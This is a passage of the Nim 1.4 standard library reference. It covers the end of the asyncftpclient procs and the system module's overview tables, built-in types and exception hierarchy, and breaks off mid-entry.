tags: [RootEffect].} ``` Delete a file `filename` on the remote FTP server [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L413) ``` proc removeDir(ftp: AsyncFtpClient; dir: string): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect].} ``` Delete a directory `dir` on the remote FTP server [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L417) ``` proc newAsyncFtpClient(address: string; port = Port(21); user, pass = ""; progressInterval: int = 1000): AsyncFtpClient {...}{. raises: [OSError, Exception], tags: [RootEffect].} ``` Creates a new `AsyncFtpClient` object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncftpclient.nim#L421) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncftpclient.nim#L421) nim system system ====== The compiler depends on the System module to work properly and the System module depends on the compiler. Most of the routines listed here use special compiler magic. Each module implicitly imports the System module; it must not be listed explicitly. Because of this there cannot be a user-defined module named `system`. System module ------------- The System module imports several separate modules, and their documentation is in separate files:* <iterators> * <assertions> * <dollars> * <io> * <widestrs> Here is a short overview of the most commonly used functions from the `system` module. Function names in the tables below are clickable and will take you to the full documentation of the function. The amount of available functions is much larger. Use the table of contents on the left-hand side and/or `Ctrl+F` to navigate through this module. ### Strings and characters | Proc | Usage | | --- | --- | | [len(s)](#len,string) | Return the length of a string | | [chr(i)](#chr,range%5B%5D) | Convert an `int` in the range `0..255` to a character | | [ord(c)](#ord,T) | Return `int` value of a character | | [a & b](#&,string,string) | Concatenate two strings | | [s.add(c)](#add,string,char) | Add character to the string | | [$](dollars) | Convert various types to string | **See also:** * [strutils module](strutils) for common string functions * [strformat module](strformat) for string interpolation and formatting * [unicode module](unicode) for Unicode UTF-8 handling * <strscans> for `scanf` and `scanp` macros, which offer easier substring extraction than regular expressions * [strtabs module](strtabs) for efficient hash tables (dictionaries, in some programming languages) mapping from strings to strings ### Seqs | Proc | Usage | | --- | --- | | [newSeq](#newSeq) | Create a new sequence of a given length | | [newSeqOfCap](#newSeqOfCap,Natural) | Create a new sequence with zero length and a given capacity | | [setLen](#setLen,seq%5BT%5D,Natural) | Set the length of a sequence | | [len](#len,seq%5BT%5D) | Return the length of a sequence | | [@](#@) | Turn an array into a sequence | | [add](#add,seq%5BT%5D,) | Add an item to the sequence | | [insert](#insert,seq%5BT%5D,) | Insert an item at a specific position | | [delete](#delete,seq%5BT%5D,Natural) | Delete an item while preserving the order of elements (`O(n)` operation) | | [del](#del,seq%5BT%5D,Natural) | `O(1)` removal, doesn't preserve the order | | [pop](#pop,seq%5BT%5D) | Remove and return last item of a sequence | | [x & y](#&,seq%5BT%5D,seq%5BT%5D) | Concatenate two sequences | | [x[a .. b]](#%5B%5D,openArray%5BT%5D,HSlice%5BU,V%5D) | Slice of a sequence (both ends included) | | [x[a .. ^b]](#%5B%5D,openArray%5BT%5D,HSlice%5BU,V%5D) | Slice of a sequence but `b` is a reversed index (both ends included) | | [x[a ..< b]](#%5B%5D,openArray%5BT%5D,HSlice%5BU,V%5D) | Slice of a sequence (excluded upper bound) | **See also:** * [sequtils module](sequtils) for operations on container types (including strings) * [json module](json) for a structure which allows heterogeneous members * [lists module](lists) for linked lists ### Sets Built-in bit sets. | Proc | Usage | | --- | --- | | [incl](#incl,set%5BT%5D,T) | Include element `y` in the set `x` | | [excl](#excl,set%5BT%5D,T) | Exclude element `y` from the set `x` | | [card](#card,set%5BT%5D) | Return the cardinality of the set, i.e. the number of elements | | [a \* b](#*,set%5BT%5D,set%5BT%5D) | Intersection | | [a + b](#+,set%5BT%5D,set%5BT%5D) | Union | | [a - b](#-,set%5BT%5D,set%5BT%5D) | Difference | | [contains](#contains,set%5BT%5D,T) | Check if an element is in the set | | [a < b](#<,set%5BT%5D,set%5BT%5D) | Check if `a` is a subset of `b` | **See also:** * [sets module](sets) for hash sets * [intsets module](intsets) for efficient int sets ### Numbers | Proc | Usage | Also known as (in other languages) | | --- | --- | --- | | [div](#div,int,int) | Integer division | `//` | | [mod](#mod,int,int) | Integer modulo (remainder) | `%` | | [shl](#shl,int,SomeInteger) | Shift left | `<<` | | [shr](#shr,int,SomeInteger) | Shift right | `>>` | | [ashr](#ashr,int,SomeInteger) | Arithmetic shift right | | | [and](#and,int,int) | Bitwise `and` | `&` | | [or](#or,int,int) | Bitwise `or` | `|` | | [xor](#xor,int,int) | Bitwise `xor` | `^` | | [not](#not,int) | Bitwise `not` (complement) | `~` | | [toInt](#toInt,float) | Convert floating-point number into an `int` | | | [toFloat](#toFloat,int) | Convert an integer into a `float` | | **See also:** * [math module](math) for mathematical operations like trigonometric functions, logarithms, square and cubic roots, etc. * [complex module](complex) for operations on complex numbers * [rationals module](rationals) for rational numbers ### Ordinals [Ordinal type](#Ordinal) includes integer, bool, character, and enumeration types, as well as their subtypes. | Proc | Usage | | --- | --- | | [succ](#succ,T,int) | Successor of the value | | [pred](#pred,T,int) | Predecessor of the value | | [inc](#inc,T,int) | Increment the ordinal | | [dec](#dec,T,int) | Decrement the ordinal | | [high](#high,T) | Return the highest possible value | | [low](#low,T) | Return the lowest possible value | | [ord](#ord,T) | Return `int` value of an ordinal value | ### Misc | Proc | Usage | | --- | --- | | [is](#is,T,S) | Check if two arguments are of the same type | | [isnot](#isnot.t,untyped,untyped) | Negated version of `is` | | [!=](#!%3D.t,untyped,untyped) | Not equals | | [addr](#addr,T) | Take the address of a memory location | | [T and F](#and,bool,bool) | Boolean `and` | | [T or F](#or,bool,bool) | Boolean `or` | | [T xor F](#xor,bool,bool) | Boolean `xor` (exclusive or) | | [not T](#not,bool) | Boolean `not` | | [a[^x]](#%5E.t,int) | Take the element at the reversed index `x` | | [a .. b](#..,T,U) | Binary slice that constructs an interval `[a, b]` | | [a ..^ b](#..%5E.t,untyped,untyped) | Interval `[a, b]` but `b` as reversed index | | [a ..< b](#..<.t,untyped,untyped) | Interval `[a, b)` (excluded upper bound) | | [runnableExamples](#runnableExamples,untyped) | Create testable documentation | Imports ------- <since>, <ansi_c>, <memory>, <assertions>, <iterators>, <dollars>, <miscdollars>, <stacktraces>, <formatfloat>, <widestrs>, <io> Types ----- ``` float {...}{.magic: Float.} ``` Default floating point type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L26) ``` float32 {...}{.magic: Float32.} ``` 32 bit floating point type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L27) ``` float64 {...}{.magic: Float.} ``` 64 bit floating point type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L28) ``` char {...}{.magic: Char.} ``` Built-in 8 bit character type (unsigned). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L33) ``` string {...}{.magic: String.} ``` Built-in string type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L34) ``` cstring {...}{.magic: Cstring.} ``` Built-in cstring (*compatible string*) type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L35) ``` pointer {...}{.magic: Pointer.} ``` Built-in pointer type, use the `addr` operator to get a pointer to a variable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L36) ``` typedesc {...}{.magic: TypeDesc.} ``` Meta type to denote a type description. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L39) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L39) ``` ptr[T] {...}{.magic: Pointer.} ``` Built-in generic untraced pointer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L42) ``` ref[T] {...}{.magic: Pointer.} ``` Built-in generic traced pointer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L43) ``` void {...}{.magic: "VoidType".} ``` Meta type to denote the absence of any type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L47) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L47) ``` auto {...}{.magic: Expr.} ``` Meta type for automatic type determination. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L48) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L48) ``` any = distinct auto ``` Meta type for any supported type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L49) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L49) ``` untyped {...}{.magic: Expr.} ``` Meta type to denote an expression that is not resolved (for templates). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L50) ``` typed {...}{.magic: Stmt.} ``` Meta type to denote an expression that is resolved (for templates). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L52) ``` int {...}{.magic: "Int".} ``` Default integer type; bitwidth depends on architecture, but is always the same as a pointer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L2) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L2) ``` int8 {...}{.magic: "Int8".} ``` Signed 8 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L4) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L4) ``` int16 {...}{.magic: "Int16".} ``` Signed 16 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L5) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L5) ``` int32 {...}{.magic: "Int32".} ``` Signed 32 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L6) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L6) ``` int64 {...}{.magic: "Int64".} ``` Signed 64 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L7) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L7) ``` uint {...}{.magic: "UInt".} ``` Unsigned default integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L8) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L8) ``` uint8 {...}{.magic: "UInt8".} ``` Unsigned 8 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L9) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L9) ``` uint16 {...}{.magic: "UInt16".} ``` Unsigned 16 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L10) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L10) ``` uint32 {...}{.magic: "UInt32".} ``` Unsigned 32 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L11) ``` uint64 {...}{.magic: "UInt64".} ``` Unsigned 64 bit integer type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L12) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L12) ``` bool {...}{.magic: "Bool".} = enum false = 0, true = 1 ``` Built-in boolean type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L15) ``` SomeSignedInt = int | int8 | int16 | int32 | int64 ``` Type class matching all signed integer types. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L23) ``` SomeUnsignedInt = uint | uint8 | uint16 | uint32 | uint64 ``` Type class matching all unsigned integer types. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L26) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L26) ``` SomeInteger = SomeSignedInt | SomeUnsignedInt ``` Type class matching all integer types. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L29) ``` SomeOrdinal = int | int8 | int16 | int32 | int64 | bool | enum | uint | uint8 | uint16 | uint32 | uint64 ``` Type class matching all ordinal types; however this includes enums with holes. See also `Ordinal` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L32) ``` BiggestInt = int64 ``` is an alias for the biggest signed integer type the Nim compiler supports. Currently this is `int64`, but it is platform-dependent in general. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/basic_types.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/basic_types.nim#L36) ``` SomeFloat = float | float32 | float64 ``` Type class matching all floating point number types. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L88) ``` SomeNumber = SomeInteger | SomeFloat ``` Type class matching all number types. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L91) ``` Ordinal[T] {...}{.magic: Ordinal.} ``` Generic ordinal type. Includes integer, bool, character, and enumeration types as well as their subtypes. See also `SomeOrdinal`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L109) ``` static[T] {...}{.magic: "Static".} ``` Meta type representing all values that can be evaluated at compile-time. The type coercion `static(x)` can be used to force the compile-time evaluation of the given expression `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L208) ``` type[T] {...}{.magic: "Type".} ``` Meta type representing the type of all type values. The coercion `type(x)` can be used to obtain the type of the given expression `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L214) ``` TypeOfMode = enum typeOfProc, ## Prefer the interpretation that means `x` is a proc call. typeOfIter ## Prefer the interpretation that means `x` is an iterator call. ``` Possible modes of `typeof`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L227) ``` range[T] {...}{.magic: "Range".} ``` Generic type to construct range types. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L268) ``` array[I; T] {...}{.magic: "Array".} ``` Generic type to construct fixed-length arrays. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L269) ``` openArray[T] {...}{.magic: "OpenArray".} ``` Generic type to construct open arrays. Open arrays are implemented as a pointer to the array data and a length field. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L271) ``` varargs[T] {...}{.magic: "Varargs".} ``` Generic type to construct a varargs type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L275) ``` seq[T] {...}{.magic: "Seq".} ``` Generic type to construct sequences. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L276) ``` set[T] {...}{.magic: "Set".} ``` Generic type to construct bit sets. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L277) ``` UncheckedArray[T] {...}{.magic: "UncheckedArray".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L281) ``` sink[T] {...}{.magic: "BuiltinType".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L288) ``` lent[T] {...}{.magic: "BuiltinType".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L289) ``` HSlice[T; U] = object a*: T ## The lower bound (inclusive). b*: U ## The upper bound (inclusive). ``` "Heterogeneous" slice type. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L466) ``` Slice[T] = HSlice[T, T] ``` An alias for `HSlice[T, T]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L469) ``` byte = uint8 ``` This is an alias for `uint8`, that is an unsigned integer, 8 bits wide. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L544) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L544) ``` Natural = range[0 .. high(int)] ``` is an `int` type ranging from zero to the maximum value of an `int`. This type is often useful for documentation and debugging. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L547) ``` Positive = range[1 .. high(int)] ``` is an `int` type ranging from one to the maximum value of an `int`. This type is often useful for documentation and debugging. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L551) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L551) ``` RootObj {...}{.compilerproc, inheritable.} = object ``` The root of Nim's object hierarchy. Objects should inherit from `RootObj` or one of its descendants. However, objects that have no ancestor are also allowed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L555) ``` RootRef = ref RootObj ``` Reference to `RootObj`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L560) ``` RootEffect {...}{.compilerproc.} = object of RootObj ``` Base effect class. Each effect should inherit from `RootEffect` unless you know what you're doing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L6) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L6) ``` TimeEffect = object of RootEffect ``` Time effect. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L11) ``` IOEffect = object of RootEffect ``` IO effect. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L12) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L12) ``` ReadIOEffect = object of IOEffect ``` Effect describing a read IO operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L13) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L13) ``` WriteIOEffect = object of IOEffect ``` Effect describing a write IO operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L14) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L14) ``` ExecIOEffect = object of IOEffect ``` Effect describing an executing IO operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L15) ``` StackTraceEntry = object procname*: cstring ## Name of the proc that is currently executing. line*: int ## Line number of the proc that is currently executing. filename*: cstring ## Filename of the proc that is currently executing. when NimStackTraceMsgs: frameMsg*: string ## When a stacktrace is generated in a given frame and ## rendered at a later time, we should ensure the stacktrace ## data isn't invalidated; any pointer into PFrame is ## subject to being invalidated so shouldn't be stored. when defined(nimStackTraceOverride): programCounter*: uint ## Program counter - will be used to get the rest of the info, ## when `$` is called on this type. We can't use ## "cuintptr_t" in here. procnameStr*, filenameStr*: string ## GC-ed alternatives to "procname" and "filename" ``` In debug mode exceptions store the stack trace that led to them. A `StackTraceEntry` is a single entry of the stack trace. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L17) ``` Exception {...}{.compilerproc, magic: "Exception".} = object of RootObj parent*: ref Exception ## Parent exception (can be used as a stack). name*: cstring ## The exception's name is its Nim identifier. ## This field is filled automatically in the ## ``raise`` statement. msg* {...}{.exportc: "message".}: string ## The exception's message. Not ## providing an exception message ## is bad style. when defined(js): trace: string else: trace: seq[StackTraceEntry] up: ref Exception ``` Base exception class. Each exception has to inherit from `Exception`. See the full [exception hierarchy](manual#exception-handling-exception-hierarchy). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L34) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L34) ``` Defect = object of Exception ``` Abstract base class for all exceptions that Nim's runtime raises but that are strictly uncatchable as they can also be mapped to a `quit` / `trap` / `exit` operation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L52) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L52) ``` CatchableError = object of Exception ``` Abstract class for all exceptions that are catchable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L57) ``` IOError = object of CatchableError ``` Raised if an IO error occurred. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L59) ``` EOFError = object of IOError ``` Raised if an IO "end of file" error occurred. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L61) ``` OSError = object of CatchableError errorCode*: int32 ## OS-defined error code describing this error. ``` Raised if an operating system service failed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L63) ``` LibraryError = object of OSError ``` Raised if a dynamic library could not be loaded. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L66) ``` ResourceExhaustedError = object of CatchableError ``` Raised if a resource request could not be fulfilled. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L68) ``` ArithmeticDefect = object of Defect ``` Raised if any kind of arithmetic error occurred. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L70) ``` DivByZeroDefect = object of ArithmeticDefect ``` Raised for runtime integer divide-by-zero errors. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L72) ``` OverflowDefect = object of ArithmeticDefect ``` Raised for runtime integer overflows. This happens for calculations whose results are too large to fit in the provided bits. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L75) ``` AccessViolationDefect = object of Defect ``` Raised for invalid memory access errors [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L80) ``` AssertionDefect = object of Defect ``` Raised when assertion is proved wrong. Usually the result of using the [assert() template](assertions#assert.t,untyped,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L82) ``` ValueError = object of CatchableError ``` Raised for string and object conversion errors. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L87) ``` KeyError = object of ValueError ``` Raised if a key cannot be found in a table. Mostly used by the <tables> module, it can also be raised by other collection modules like <sets> or <strtabs>. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L89) ``` OutOfMemDefect = object of Defect ``` Raised for unsuccessful attempts to allocate memory. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L95) ``` IndexDefect = object of Defect ``` Raised if an array index is out of bounds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L97) ``` FieldDefect = object of Defect ``` Raised if a record field is not accessible because its discriminant's value does not fit. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L100) ``` RangeDefect = object of Defect ``` Raised if a range check error occurred. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L103) ``` StackOverflowDefect = object of Defect ``` Raised if the hardware stack used for subroutine calls overflowed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L105) ``` ReraiseDefect = object of Defect ``` Raised if there is no exception to reraise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L107) ``` ObjectAssignmentDefect = object of Defect ``` Raised if an object gets assigned to its parent's object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L109) ``` ObjectConversionDefect = object of Defect ``` Raised if an object is converted to an incompatible object type. You can use `of` operator to check if conversion will succeed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L111) ``` FloatingPointDefect = object of Defect ``` Base class for floating point exceptions. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L114) ``` FloatInvalidOpDefect = object of FloatingPointDefect ``` Raised by invalid operations according to IEEE. Raised by `0.0/0.0`, for example. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L116) ``` FloatDivByZeroDefect = object of FloatingPointDefect ``` Raised by division by zero. Divisor is zero and dividend is a finite nonzero number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L120) ``` FloatOverflowDefect = object of FloatingPointDefect ``` Raised for overflows. The operation produced a result that exceeds the range of the exponent. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L124) ``` FloatUnderflowDefect = object of FloatingPointDefect ``` Raised for underflows. The operation produced a result that is too small to be represented as a normal number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/exceptions.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/exceptions.nim#L128) ``` FloatInexactDefect = object of FloatingPointDefect ``` Raised for inexact results. The operation produced a result that cannot be represented with infinite precision -- for example: `2.0 